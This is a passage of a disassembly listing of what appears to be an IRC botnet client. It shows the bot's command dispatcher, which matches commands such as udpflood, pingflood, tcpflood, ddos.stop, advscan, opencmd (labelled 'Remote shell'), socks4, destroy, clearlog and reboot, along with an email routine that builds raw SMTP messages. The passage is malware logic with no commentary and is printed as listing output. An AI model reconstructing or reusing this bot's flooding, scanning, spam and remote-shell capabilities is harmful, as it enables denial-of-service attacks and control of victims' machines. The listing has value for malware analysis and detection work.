		mov	[ebp+var_9C], eax


loc_40A0A2:				; CODE XREF: sub_409806+88Ej
		cmp	[ebp+var_98], 0
		jz	loc_409A84
		inc	[ebp+var_98]
		jz	short loc_40A0F1
		cmp	[ebp+arg_10], 0
		jz	short loc_40A0F1
		lea	eax, [ebp+var_4BC]
		lea	edx, [eax+1]


loc_40A0C6:				; CODE XREF: sub_409806+8C5j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40A0C6
		sub	eax, edx
		push	eax
		push	[ebp+var_98]
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_418200
		add	esp, 0Ch
		mov	ebx, eax
		neg	ebx
		sbb	ebx, ebx
		add	ebx, 4
		mov	[ebp+var_20], ebx


loc_40A0F1:				; CODE XREF: sub_409806+8AFj
					; sub_409806+8B5j
		mov	eax, ebx
		shl	eax, 2
		mov	edx, [ebp+eax+var_A4]
		test	edx, edx
		jz	loc_409A84
		push	0Ah
		mov	edi, edx
		mov	esi, offset dword_42A8D4
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_409F96
		mov	esi, [ebp+var_9C]
		mov	bl, [esi]
		cmp	bl, 23h
		jz	short loc_40A144
		mov	ecx, dword_480AC4
		mov	ecx, off_42FDB8[ecx*4]
		cmp	byte ptr [ecx],	0
		jz	short loc_40A144
		push	ecx
		push	esi
		push	offset dword_42A8B8
		jmp	loc_4099DD
; ---------------------------------------------------------------------------


loc_40A144:				; CODE XREF: sub_409806+91Ej
					; sub_409806+930j
		mov	edi, edx
		push	6
		mov	esi, offset dword_42A8B0
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_409F96
		mov	eax, [ebp+eax+var_A0]
		test	eax, eax
		jz	loc_409F96
		cmp	bl, 23h
		jz	loc_409F96
		push	eax
		push	[ebp+var_9C]
		push	offset dword_42A898
		jmp	loc_4099DD
; ---------------------------------------------------------------------------


loc_40A181:				; CODE XREF: sub_409806+828j
					; sub_409806+83Aj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40A186:				; CODE XREF: sub_409806+84Aj
		test	eax, eax
		jz	short loc_40A1A8
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		add	[ebp+var_1C], 0B8h
		cmp	eax, dword_4301A0
		jl	loc_40A023
		jmp	loc_40A317
; ---------------------------------------------------------------------------


loc_40A1A8:				; CODE XREF: sub_409806+982j
		push	offset asc_4285C8 ; " :"
		push	[ebp+arg_0]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409A84
		mov	esi, [ebp+var_10]
		mov	cl, byte_42FCD4
		imul	esi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42FCD4
		mov	[eax+3], cl
		push	9Fh
		lea	ecx, dword_47FF50[esi]
		push	ecx
		add	eax, 4
		push	eax
		call	sub_4169C0
		lea	eax, dword_47FF38[esi]
		lea	edi, [ebp+ebx+var_64]
		add	esp, 0Ch
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_1C], eax
		mov	esi, edi


loc_40A208:				; CODE XREF: sub_409806+AA6j
		push	[ebp+var_10]
		lea	eax, [ebp+var_C8]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4173D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A271
		cmp	dword ptr [esi], 0
		jz	short loc_40A276
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40A23D:				; CODE XREF: sub_409806+A3Cj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40A23D
		sub	eax, edx
		add	[ebp+var_14], eax
		jz	short loc_40A2A2
		push	dword ptr [esi-4]
		push	[ebp+var_14]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A2A2
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40718D
		add	esp, 0Ch
		jmp	short loc_40A2A2
; ---------------------------------------------------------------------------


loc_40A271:				; CODE XREF: sub_409806+A2Aj
		cmp	dword ptr [esi], 0
		jnz	short loc_40A2A2


loc_40A276:				; CODE XREF: sub_409806+A2Fj
		push	2
		lea	eax, [ebp+var_C8]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4169C0
		and	[ebp+var_22], 0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40718D
		add	esp, 18h


loc_40A2A2:				; CODE XREF: sub_409806+A43j
					; sub_409806+A54j ...
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	loc_40A208
		mov	[ebp+var_10], 10h
		mov	esi, edi


loc_40A2BB:				; CODE XREF: sub_409806+B02j
		push	[ebp+var_10]
		lea	eax, [ebp+var_C8]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4173D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40A2FE
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A2FE
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40718D
		add	esp, 0Ch


loc_40A2FE:				; CODE XREF: sub_409806+ADDj
					; sub_409806+AE3j
		dec	[ebp+var_10]
		sub	esi, 4
		cmp	[ebp+var_10], 0
		jg	short loc_40A2BB
		mov	edx, [ebp+var_BC]
		mov	[ebp+var_8], 1


loc_40A317:				; CODE XREF: sub_409806+810j
					; sub_409806+99Dj
		mov	al, byte_42FCD4
		cmp	[edx], al
		jz	short loc_40A32A
		cmp	[ebp+var_8], 0
		jz	loc_40A506


loc_40A32A:				; CODE XREF: sub_409806+B18j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_40718D
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40718D
		push	[ebp+var_9C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40718D
		push	0
		push	0
		lea	eax, [ebp+var_C8]
		push	2
		push	eax
		call	sub_411098
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_40718D
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40718D
		mov	esi, offset aChr ; "$chr("
		push	esi
		push	edi
		call	sub_4173D0
		add	esp, 14h
		jmp	loc_40A48A
; ---------------------------------------------------------------------------


loc_40A3A1:				; CODE XREF: sub_409806+C86j
		push	esi
		push	[ebp+arg_0]
		call	sub_4173D0
		mov	[ebp+var_BC], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_C8]
		push	offset asc_42A858 ; ")"
		push	eax
		call	sub_417779
		add	esp, 1Ch
		cmp	[ebp+var_C8], 30h
		jl	short loc_40A3E8
		cmp	[ebp+var_C8], 39h
		jle	short loc_40A3FE


loc_40A3E8:				; CODE XREF: sub_409806+BD7j
		push	3
		lea	eax, [ebp+var_C8]
		push	offset a63	; "63"
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_40A3FE:				; CODE XREF: sub_409806+BE0j
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	short loc_40A421
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_416C92
		pop	ecx
		mov	[ebp+var_24], al
		jmp	short loc_40A432
; ---------------------------------------------------------------------------


loc_40A421:				; CODE XREF: sub_409806+C07j
		call	sub_41699A
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_24], dl


loc_40A432:				; CODE XREF: sub_409806+C19j
		and	[ebp+var_23], 0
		lea	eax, [ebp+var_C8]
		lea	edx, [eax+1]


loc_40A43F:				; CODE XREF: sub_409806+C3Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40A43F
		sub	eax, edx
		mov	ecx, eax
		xor	eax, eax
		lea	edi, [ebp+var_C8]
		stosd
		stosd
		add	ecx, 6
		push	ecx
		push	[ebp+var_BC]
		stosd
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40718D
		push	esi
		push	[ebp+arg_0]
		call	sub_4173D0
		add	esp, 20h


loc_40A48A:				; CODE XREF: sub_409806+B96j
		test	eax, eax
		jnz	loc_40A3A1
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_21F0]
		push	eax
		call	sub_4169C0
		push	esi
		lea	eax, [ebp+var_21F0]
		push	eax
		lea	eax, [ebp+var_23F0]
		push	eax
		call	sub_4169C0
		mov	esi, offset asc_422B08 ; " "
		lea	eax, [ebp+var_23F0]
		push	esi
		push	eax
		call	sub_417779
		xor	edi, edi
		add	esp, 20h
		mov	[ebp+var_A4], eax
		inc	edi


loc_40A4D9:				; CODE XREF: sub_409806+CE8j
		push	esi
		push	0
		call	sub_417779
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_40A4D9
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	loc_409A84
		add	ecx, 3
		mov	[eax], ecx


loc_40A506:				; CODE XREF: sub_409806+B1Ej
		mov	eax, [ebp+ebx+var_A4]
		push	8
		mov	edi, eax
		mov	esi, offset aRndnick ; "rndnick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		mov	[ebp+var_1C], eax
		jz	loc_40F876
		push	3
		mov	edi, eax
		mov	esi, offset aRn	; "rn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F876
		push	4
		mov	edi, eax
		mov	esi, offset aDie ; "die"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EE19
		push	2
		mov	edi, eax
		mov	esi, offset aD	; "d"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EE19
		push	7
		mov	edi, eax
		mov	esi, offset aLogout ; "logout"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ED2B
		push	3
		mov	edi, eax
		mov	esi, offset aLo	; "lo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ED2B
		push	8
		mov	edi, eax
		mov	esi, offset aVersion ; "version"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ED0D
		push	4
		mov	edi, eax
		mov	esi, offset aVer ; "ver"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40ED0D
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EC0E
		push	4
		mov	edi, eax
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EC0E
		push	9
		mov	edi, eax
		mov	esi, offset aUnsecure ;	"unsecure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EC0E
		push	6
		mov	edi, eax
		mov	esi, offset aUnsec ; "unsec"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EC0E
		push	7
		mov	edi, eax
		mov	esi, offset aSocks4 ; "socks4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EAE9
		push	3
		mov	edi, eax
		mov	esi, offset aS4	; "s4"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EAE9
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSocks4stop	; "socks4stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A650
		push	[ebp+ebx+var_A0]
		push	12h
		push	offset aServer_0 ; "Server"
		push	offset aSocks4_0 ; "[SOCKS4]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A650:				; CODE XREF: sub_409806+E30j
		push	0Bh
		mov	edi, eax
		mov	esi, offset aRloginstop	; "rloginstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A678
		push	[ebp+ebx+var_A0]
		push	7
		push	offset aServer_0 ; "Server"
		push	offset aRlogind	; "[RLOGIND]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A678:				; CODE XREF: sub_409806+E58j
		push	9
		mov	edi, eax
		mov	esi, offset aHttpstop ;	"httpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A6A0
		push	[ebp+ebx+var_A0]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset aHttpd	; "[HTTPD]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A6A0:				; CODE XREF: sub_409806+E80j
		push	8
		mov	edi, eax
		mov	esi, offset aLogstop ; "logstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A6C8
		push	[ebp+ebx+var_A0]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset aLog	; "[LOG]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A6C8:				; CODE XREF: sub_409806+EA8j
		push	0Dh
		mov	edi, eax
		mov	esi, offset aRedirectstop ; "redirectstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A6F0
		push	[ebp+ebx+var_A0]
		push	11h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset aRedirect_0 ; "[REDIRECT]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A6F0:				; CODE XREF: sub_409806+ED0j
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDdos_stop ; "ddos.stop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A718
		push	[ebp+ebx+var_A0]
		push	0Bh
		push	offset aDdosFlood ; "DDoS flood"
		push	offset aDdos	; "[DDoS]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A718:				; CODE XREF: sub_409806+EF8j
		push	8
		mov	edi, eax
		mov	esi, offset aSynstop ; "synstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A740
		push	[ebp+ebx+var_A0]
		push	0Ch
		push	offset aSynFlood ; "Syn	flood"
		push	offset aSyn_0	; "[SYN]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A740:				; CODE XREF: sub_409806+F20j
		push	8
		mov	edi, eax
		mov	esi, offset aUdpstop ; "udpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A768
		push	[ebp+ebx+var_A0]
		push	10h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset aUpd	; "[UPD]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409806+F48j
		push	9
		mov	edi, eax
		mov	esi, offset aPingstop ;	"pingstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A790
		push	[ebp+ebx+var_A0]
		push	0Fh
		push	offset aPingFlood ; "Ping flood"
		push	offset aPing_1	; "[PING]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A790:				; CODE XREF: sub_409806+F70j
		push	9
		mov	edi, eax
		mov	esi, offset aTftpstop ;	"tftpstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A7B8
		push	[ebp+ebx+var_A0]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset aTftp_0	; "[TFTP]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A7B8:				; CODE XREF: sub_409806+F98j
		push	0Dh
		mov	edi, eax
		mov	esi, offset aFindfilestop ; "findfilestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EABA
		push	7
		mov	edi, eax
		mov	esi, offset aFfstop ; "ffstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EABA
		push	0Ah
		mov	edi, eax
		mov	esi, offset aProcsstop ; "procsstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EAA5
		push	7
		mov	edi, eax
		mov	esi, offset aPsstop ; "psstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EAA5
		push	0Ah
		mov	edi, eax
		mov	esi, offset aClonestop ; "clonestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A830
		push	[ebp+ebx+var_A0]
		push	18h
		push	offset aClone	; "Clone"
		push	offset aClones	; "[CLONES]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A830:				; CODE XREF: sub_409806+1010j
		push	0Bh
		mov	edi, eax
		mov	esi, offset aSecurestop	; "securestop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A858
		push	[ebp+ebx+var_A0]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset aSecure_1 ; "[SECURE]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A858:				; CODE XREF: sub_409806+1038j
		push	9
		mov	edi, eax
		mov	esi, offset aScanstop ;	"scanstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A880
		push	[ebp+ebx+var_A0]
		push	9
		push	offset aScan_1	; "Scan"
		push	offset aScan_0	; "[SCAN]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40A880:				; CODE XREF: sub_409806+1060j
		push	0Ah
		mov	edi, eax
		mov	esi, offset aScanstats ; "scanstats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA8C
		push	6
		mov	edi, eax


loc_40A898:				; DATA XREF: .text:0043193Co
					; .text:00431980o ...
		mov	esi, offset aStats ; "stats"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA8C
		push	0Ah
		mov	edi, eax
		mov	esi, offset aReconnect ; "reconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA6B
		push	2
		mov	edi, eax
		mov	esi, offset aR	; "r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA6B
		push	0Bh
		mov	edi, eax
		mov	esi, offset aDisconnect	; "disconnect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA49
		push	3
		mov	edi, eax
		mov	esi, offset aDc	; "dc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40EA49
		push	5
		mov	edi, eax
		mov	esi, offset aQuit_0 ; "quit"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E9FF
		push	2
		mov	edi, eax
		mov	esi, offset aQ	; "q"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E9FF
		push	7
		mov	edi, eax
		mov	esi, offset aStatus ; "status"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E9C0
		push	2
		mov	edi, eax
		mov	esi, offset aS_9 ; "s"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E9C0
		push	3
		mov	edi, eax
		mov	esi, offset aId	; "id"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E988
		push	2
		mov	edi, eax
		mov	esi, offset aI_0 ; "i"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E988
		push	7
		mov	edi, eax
		mov	esi, offset aReboot ; "reboot"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40A9C2
		call	sub_407512
		test	eax, eax
		mov	eax, offset aMainRebootingS ; "[MAIN]: Rebooting system."
		jnz	short loc_40A993
		mov	eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot	system."


loc_40A993:				; CODE XREF: sub_409806+1186j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 1Ch
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40A9C2:				; CODE XREF: sub_409806+1178j
		push	8
		mov	edi, eax
		mov	esi, offset aThreads ; "threads"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E8A8
		push	2
		mov	edi, eax
		mov	esi, offset aT	; "t"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E8A8
		push	8
		mov	edi, eax
		mov	esi, offset aAliases ; "aliases"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E885
		push	3
		mov	edi, eax
		mov	esi, offset aAl	; "al"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E885
		push	4
		mov	edi, eax
		mov	esi, offset aLog_0 ; "log"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E792
		push	3
		mov	edi, eax
		mov	esi, offset aLg	; "lg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E792
		push	9
		mov	edi, eax
		mov	esi, offset aClearlog ;	"clearlog"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E776
		push	4
		mov	edi, eax
		mov	esi, offset aClg ; "clg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E776
		push	8
		mov	edi, eax
		mov	esi, offset aNetinfo ; "netinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E73B
		push	3
		mov	edi, eax
		mov	esi, offset aNi	; "ni"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E73B
		push	8
		mov	edi, eax
		mov	esi, offset aSysinfo ; "sysinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E70F
		push	3
		mov	edi, eax
		mov	esi, offset aSi	; "si"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E70F
		push	8
		mov	edi, eax
		mov	esi, offset aDestroy ; "destroy"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E692
		push	0Bh
		mov	edi, eax
		mov	esi, offset aErradicate	; "erradicate"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E692
		push	6
		mov	edi, eax
		mov	esi, offset aProcs ; "procs"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E56C
		push	3
		mov	edi, eax
		mov	esi, offset aPs	; "ps"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E56C
		push	7
		mov	edi, eax
		mov	esi, offset aUptime ; "uptime"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4E5
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4E5
		push	0Ah
		mov	edi, eax
		mov	esi, offset aDriveinfo ; "driveinfo"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4C8
		push	4
		mov	edi, eax
		mov	esi, offset aDrv ; "drv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4C8
		push	9
		mov	edi, eax
		mov	esi, offset aTestdlls ;	"testdlls"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4AF
		push	4
		mov	edi, eax
		mov	esi, offset aDll ; "dll"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E4AF
		push	8
		mov	edi, eax
		mov	esi, offset aOpencmd ; "opencmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E470
		push	5
		mov	edi, eax
		mov	esi, offset aOcmd ; "ocmd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40E470
		push	8
		mov	edi, eax
		mov	esi, offset aCmdstop ; "cmdstop"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	short loc_40ABCA
		push	[ebp+ebx+var_A0]
		push	8
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd_0	; "[CMD]"
		jmp	loc_40EACD
; ---------------------------------------------------------------------------


loc_40ABCA:				; CODE XREF: sub_409806+13AAj
		push	4
		mov	edi, eax
		mov	esi, offset aWho ; "who"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40AF09
		cmp	[ebp+var_C], edx
		jnz	short loc_40ABFD
		push	edx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40ABFD:				; CODE XREF: sub_409806+13DBj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40AC02:				; CODE XREF: sub_409806+1443j
		cmp	byte ptr [edi],	0
		lea	eax, [edi+1]
		jnz	short loc_40AC0F
		mov	eax, offset aEmpty ; "<Empty>"


loc_40AC0F:				; CODE XREF: sub_409806+1402j
		push	eax
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_416905
		push	1
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40AC02
		push	offset aMainLoginListC ; "[MAIN]: Login	list complete."
		call	sub_401ECD
		mov	eax, [ebp+var_1C]
		pop	ecx


loc_40AC59:				; CODE XREF: sub_409806+269Ej
					; sub_409806+5625j
		mov	ecx, [ebp+ebx+var_94]
		test	ecx, ecx
		mov	[ebp+arg_0], ecx
		jz	loc_409A84
		push	8
		mov	edi, eax
		mov	esi, offset aAdvscan ; "advscan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F478
		push	4
		mov	edi, eax
		mov	esi, offset aAsc ; "asc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F478
		push	9
		mov	edi, eax
		mov	esi, offset aUdpflood ;	"udpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F32F
		push	4
		mov	edi, eax
		mov	esi, offset aUdp ; "udp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F32F
		push	2
		mov	edi, eax
		mov	esi, offset aU	; "u"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F32F
		push	0Ah
		mov	edi, eax
		mov	esi, offset aPingflood ; "pingflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F1F5
		push	5
		mov	edi, eax
		mov	esi, offset aPing_0 ; "ping"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F1F5
		push	2
		mov	edi, eax
		mov	esi, offset aP	; "p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F1F5
		push	9
		mov	edi, eax
		mov	esi, offset aTcpflood ;	"tcpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F034
		push	4
		mov	edi, eax
		mov	esi, offset aTcp ; "tcp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40F034
		push	6
		mov	edi, eax
		mov	esi, offset aEmail ; "email"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40EE3E
		mov	eax, [ebp+ebx+var_A0]
		lea	edx, [ebp+var_848]
		sub	edx, eax


loc_40AD56:				; CODE XREF: sub_409806+1558j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40AD56
		push	[ebp+ebx+var_9C]
		call	sub_416C92
		mov	esi, eax
		mov	eax, [ebp+ebx+var_98]
		lea	edx, [ebp+var_1FF0]
		pop	ecx
		sub	edx, eax


loc_40AD7E:				; CODE XREF: sub_409806+1580j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40AD7E
		mov	eax, [ebp+arg_0]
		lea	edx, [ebp+var_1548]
		sub	edx, eax


loc_40AD93:				; CODE XREF: sub_409806+1595j
		mov	cl, [eax]
		mov	[edx+eax], cl
		inc	eax
		test	cl, cl
		jnz	short loc_40AD93
		push	offset asc_422B08 ; " "
		push	offset a_	; "_"
		push	[ebp+ebx+var_90]
		call	sub_40718D
		add	esp, 0Ch
		lea	edx, [ebp+var_1EF0]


loc_40ADBC:				; CODE XREF: sub_409806+15BEj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40ADBC
		lea	eax, [ebp+var_1840]
		push	eax
		push	101h
		call	dword_43A3AC	; WSAStartup
		lea	eax, [ebp+var_848]
		push	eax
		call	dword_43A400	; gethostbyname
		push	6
		push	1
		push	2
		mov	ebx, eax
		call	dword_43A39C	; socket
		mov	edi, eax
		mov	[ebp+var_D8], 2
		mov	eax, [ebx+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_D4], eax
		call	dword_43A4F4	; ntohs
		mov	[ebp+var_D6], ax
		lea	eax, [ebp+var_1EF0]
		push	eax
		lea	eax, [ebp+var_1FF0]
		push	eax
		lea	eax, [ebp+var_1EF0]
		push	eax
		lea	eax, [ebp+var_1548]
		push	eax
		lea	eax, [ebp+var_1FF0]
		push	eax
		lea	eax, [ebp+var_27F0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_416905
		add	esp, 1Ch
		push	10h
		lea	eax, [ebp+var_D8]
		push	eax
		push	edi
